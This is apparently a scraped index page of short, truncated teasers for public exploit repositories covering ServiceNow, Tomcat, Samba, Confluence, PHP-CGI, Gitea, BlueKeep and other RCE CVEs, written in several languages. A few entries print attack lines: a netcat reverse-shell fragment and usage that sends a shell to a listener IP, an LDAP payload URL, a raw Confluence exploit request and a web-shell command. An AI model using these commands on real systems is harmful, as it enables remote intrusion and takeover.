CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow — это платформа для трансформации бизнеса, которая помогает компаниям управлять цифровыми рабочими процессами для корпоративных операций. CVE-2024-4879 может позволить неаутентифицированному пользователю удалённо выполнять код в Now Platform. Эта уязвимость...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 Графический инструмент эксплуатации уязвимости произвольной записи файлов методом PUT в Tomcat CVE-2017-12615 Описание уязвимости 19 сентября 2017 года Apache Tomcat официально подтвердил и исправил две критически опасные уязвимости, идентификаторы CVE: CVE-2017-12615 и...

CVE-2017-9791

CVE-2017-9791 Модуль Metasploit для эксплуатации уязвимости удаленного выполнения кода CVE-2017-9791 в Apache Struts...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE 이 저장소는 Adobe ColdFusion 2018의 RCE 취약점에 대한 익스플로잇 코드를 포함하고 있습니다. 익스플로잇 설명 익스플로잇은 JSP 리버스 셸을 포함한 POST 요청을 /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm으로 보냅니다. 성공하면 이 요청은 셸을...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Использование root@kitploit: Эксплуатируем цель 10.129.232.46 на порту 445, отправляем обратную оболочку на 10.10.14.82 порт 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 С указанием своих rport и lport python3...

rails-activestorage-vips-audit

rails-activestorage-vips-audit An Agent Skill that audits Ruby on Rails repositories for exposure to CVE-2026-66066 KindaRails2Shell — the Active Storage libvips variant-processing vulnerability that allows arbitrary file read and, in a Rails application, remote code execution. The skill is a...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE Описание проекта и принцип действия Первый в мире эксплойт CVE-2024-4577 PHP-CGI RCE, использующий среду PHP по умолчанию XAMPP. Первый в мире эксплойт CVE-2024-4577 PHP-CGI RCE, использующий стандартную среду PHP. Предоставляется оригинальный эксплойт, поддерживается SSRF,...

SDT_CW3B1_rce

SDTCW3B1rce CVE-2021-46422 Установка root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce Использование Данный инструмент написан как PoC в соответствии со спецификацией разработки фреймворка pocsuite3. Перед использованием загрузите pocsuite3. Адрес проекта root@kitploi...

CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

CVE-2019-0193

CVE-2019-0193 Удаленное выполнение кода...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 Информация Этот репозиторий содержит два PoC для Connect Box CH7465LG, работающего на прошивке CH7465LG-NCIP-6.12.18.24-5p8-NOSH или более ранней. Более подробную информацию можно найти в моём блоге. Использование Неаутентифицированное удалённое выполнение кода...

CVE-2026-38526

CVE-2026-38526 - Krayin CRM RCE Description Script PoC pour une vulnérabilité critique dans Krayin CRM v2.2.x permettant une RCE authentifiée via un téléchargement de fichier sans restriction. Usage root@kitploit: Web shell python3 exploit.py -u http://target.com -e [email protected] -p...

CVE-2025-24813

설명 이 저장소는 CVE-2025-24813 Tomcat 최신 RCE를 재현하기 위한 환경입니다. 학습 및 연구 목적으로만 사용하세요! 이용 조건 애플리케이션이 DefaultServlet 쓰기 기능을 활성화해야 합니다. 기본적으로 비활성화되어 있습니다. 애플리케이션이 partial PUT 요청을 지원하여 악의적인 직렬화 데이터를 세션 파일에 쓸 수 있어야 합니다. 이 기능은 기본적으로 활성화되어 있습니다. 애플리케이션이 Tomcat의 파일 세션 지속성을 사용하고 기본 세션 저장 위치를 사용해야 합니다. 추가 구성이 필요합니다...

CVE-2026-53595_exploit

CVE-2026-53595 + CVE-2026-53593 — FreeScout Anonymous ATO → RCE Неаутентифицированное удалённое выполнение кода в FreeScout ≤ 1.8.223 help desk на Laravel путём связывания двух уязвимостей, обе исправлены в 1.8.224 : CVE-2026-53595 — анонимный захват учётной записи. POST...

CVE-2026-13157

CVE-2026-13157 Theme Demo Import false при обработке загрузки. Аутентифицированный пользователь, обладающий правами импорта — например, администратор сайта по умолчанию или администратор сайта, не являющийся суперадминистратором, в архитектуре WordPress Multisite — может обойти ограничения на...

CVE-2019-3396

CVE-2019-3396 Обход пути в Confluence Widget Connector CVE-2019-3396 RCE POC root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0...

CVE-2022-30781

🍵 CVE-2022-30781 Эксплойт удалённого выполнения команд при миграции репозитория Gitea. Как использовать 1. Запустите HTTP-сервер для раздачи файлов из этого репозитория. 2. Отредактируйте команду, которая будет выполнена, в api/v1/repos/e99/exp/pulls/1/index.html L96. 3. Мигрируйте удалённый...

spring-framework-rce

spring-framework-rce CVE-2022-22965 環境要件 1. tomcat8 8 使用方法 1. springframeworkrce-0.0.1-SNAPSHOT.zip をダウンロードして解凍後、名前を ROOT.war に変更します。 2. tomcat 内の webapps フォルダ配下の ROOT フォルダまたは ROOT.war を置き換えます。 3. tomcat 内の bin パスに移動し、.\catalina.bat run を実行します。 テスト方法 省略 結果...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2019-0708

CVE-2019-0708 первоначальный эксплойт для CVE-2019-0708, BlueKeep CVE-2019-0708 BlueKeep RDP удаленное ядро Windows Use After Free Драйвер RDP termdd.sys неправильно обрабатывает привязки к внутреннему каналу MST120, что позволяет с помощью искаженного сообщения Disconnect Provider Indication...